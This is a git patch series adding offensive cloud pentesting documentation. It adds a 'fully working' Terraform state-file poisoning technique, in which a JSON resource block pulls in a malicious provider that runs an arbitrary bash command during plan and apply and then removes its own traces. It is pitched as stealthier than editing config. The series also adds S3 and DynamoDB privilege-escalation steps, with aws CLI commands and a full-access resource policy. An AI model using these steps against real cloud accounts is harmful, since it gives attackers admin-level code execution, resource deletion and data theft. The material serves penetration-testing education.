From 9bd5dededd9031e7eec18ade2d2b858e26d9af63 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Benedikt=20Hau=C3=9Fner?= Date: Fri, 3 Jan 2025 15:26:16 +0100 Subject: [PATCH 1/2] add fully working solution for privesc via terraform state file poisoning and reference from s3 privilege escalation to that technique --- src/pentesting-ci-cd/terraform-security.md | 54 ++++++++++++------- .../aws-s3-privesc.md | 13 +++++ 2 files changed, 47 insertions(+), 20 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 38079c6587..c1b4c6a67f 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -30,9 +30,9 @@ Just install terraform in your computer. Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). -## RCE in Terraform +## RCE in Terraform: config file poisoning -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below). However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. @@ -134,7 +134,37 @@ output "dotoken" { ## Abusing Terraform State Files -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history. + +### RCE in Terraform: config file poisoning + +It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider. + +The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). + +To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes: + +```json +{ + "mode": "managed", + "type": "rce", + "name": "", + "provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", + "instances": [ + { + "schema_version": 0, + "attributes": { + "command": "", + "id": "rce" + }, + "sensitive_attributes": [], + "private": "bnVsbA==" + } + ] +} +``` + +Then, as soon as `terraform` gets executed, your code will run. ### Deleting resources @@ -164,23 +194,6 @@ Because terraform will see that the resource shouldn't exit, it'll destroy it (f For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it. -### RCE - -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - -```json -"resources": [ -{ - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ - - ] -}, -``` - ### Replace blacklisted provider In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. @@ -308,6 +321,7 @@ brew install terrascan - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 9621df26c2..92f683d01a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -52,6 +52,19 @@ These are some examples: - If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file + +It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. +Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`. + +So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources. + +Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} + ### `s3:PutBucketPolicy` An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. From 363b737d379a7071897d805b535dc5e75553a1b7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Benedikt=20Hau=C3=9Fner?= Date: Fri, 3 Jan 2025 15:26:44 +0100 Subject: [PATCH 2/2] add dynamodb privilege escalation via putting of resource based policy --- .../aws-dynamodb-privesc.md | 57 ++++++++++++++++++- 1 file changed, 56 insertions(+), 1 deletion(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index e090dfd976..5fad0c3a27 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -10,9 +10,64 @@ For more info about dynamodb check: ../aws-services/aws-dynamodb-enum.md {{#endref}} +### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy` + +Since March 2024, AWS offers *resource based policies* for DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +So, if you have the `dynamodb:PutResourcePolicy` for a table, you can just grant yourself or any other principal full access to the table. + +Granting the `dynamodb:PutResourcePolicy` to a random principal often happens by accident, if the admins think that granting `dynamodb:Put*` would only allow the principal to put items into the database - or if they granted that permissionset before March 2024... + +Ideally, you also have `dynamodb:GetResourcePolicy`, so you do not overwrite other potentially vital permissions, but only inject the added permissions you need: + +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ + --resource-arn \ + --query 'Policy' \ + --output text > policy.json +``` + +If you cannot retrieve the current policy, just use this one that grants full access over the table to your principal: + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "FullAccessToDynamoDBTable", + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam:::/" + }, + "Action": [ + "dynamodb:*" + ], + "Resource": [ + "arn:aws:dynamodb:::table/" + ] + } + ] +} +``` + +If you need to customize it, here is a list of all possible DynamoDB actions: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). And here is a list of all actions that can be allowed via a resource based policy *AND which of these can be used cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Now, with the policy document `policy.json` ready, put the resource policy: + +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ + --resource-arn \ + --policy "$(cat policy.json)" +``` + +Now, you should have the permissions you needed. + ### Post Exploitation -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +As far as I know there is **no other direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md